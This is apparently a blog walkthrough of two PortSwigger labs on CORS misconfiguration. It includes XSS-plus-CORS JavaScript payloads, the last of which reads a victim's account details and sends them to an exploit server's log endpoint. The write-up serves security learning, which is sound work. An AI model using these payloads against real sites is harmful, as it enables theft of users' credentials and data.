Skip to content

CORS Misconfiguration

When testing for CORS Misconfiguration, modify the Origin in the request to another URL (www.example.com) and then look at the Access-Control-Allow-Origin see if this arbitrary URL is allowed. If so, then the server is likely to be using wildcard that allows all origin.

Web Security Academy Lab Write-outs

(a) CORS vulnerability with basic origin reflection

Link: https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack

In this lab, we first confirm that wildcard is used by changing the Origin to an arbitrary URL. After we sent the request, we can see that it is appearing under Access-Control-Allow-Origin.

Then, we exploited the scenario where Access-Control-Allow-Credentials is set as True. This means that the response from server is telling the browser to expose the response to front-end JavaScript code.

Now we will need to write an exploit to make a request to the vulnerable endpoint and then append the credentials to the response parameter. In this case, Portswigger have made our lives easier by providing us an exploit server. So we simply provide the JavaScript exploit code and execute them. The exploit server also show us the logs as well for verification. If someone is logged in and click on the link from the exploit server, then we can see the API key being appended to the server log.

(b) Chaining XSS with CORS vulnerability to break TLS

This is a writeup on the lab: https://portswigger.net/web-security/cors/lab-breaking-https-attack

First, we need to identify where the XSS vulnerability is. And if we navigate and test the application, we can see that the stock checking feature has a XSS vulnerability. Try testing a few payload to verify.

Now the next part of the chain requires login to the Application (using the credentials provided). Then, we will exploit the XSS to execute JavaScript that send a request to the endpoint that has CORS vulnerability.

<script>
var req = new XMLHttpRequest(); 
req.onload = reqListener; req.open('get','https://acba1fed1e1eecba80170d5800a20097.web-security-academy.net/accountDetails',true); 
req.withCredentials = true;
req.send();
function reqListener() { 
    alert(this.responseText) 
};
</script>

We are sending GET request to the /accountDetails path because the response of the endpoint has configured Access-Control-Allow-Credentials as true.

In our request, we can notice that the request is configured withCredentials as true. This allows the request to send cookie to the server. And the server must set response with the header Access-Control-Allow-Credentials to be true as well to allow cookies / user credential to be included in CORS request.

Suppose you didn’t set withCredentials in the request header. What you will see is that the request will be unauthorized since the cookie is not sent to the server.

https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials

https://stackoverflow.com/questions/24687313/what-exactly-does-the-access-control-allow-credentials-header-do

Now try the save the following script as home.html and open it in the browser. We will be able see an alert pop-out that displays the user account information:

<script>
   document.location="http://stock.acba1fed1e1eecba80170d5800a20097.web-security-academy.net/?productId=3<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://acba1fed1e1eecba80170d5800a20097.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() { alert(this.responseText) };%3c/script>&storeId=1"
</script> 

Instead of using alert, we will use location and set as (exploit server URL + this.response.text). Then add the exploit script to the exploit server and send it to the administrator.

<script>
   document.location="http://stock.acba1fed1e1eecba80170d5800a20097.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://acba1fed1e1eecba80170d5800a20097.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://acb61f7a1e47ec4080330d4801dc00ec.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script> 

Published inWalkthroughWeb Security

Be First to Comment

Leave a Reply

Your email address will not be published.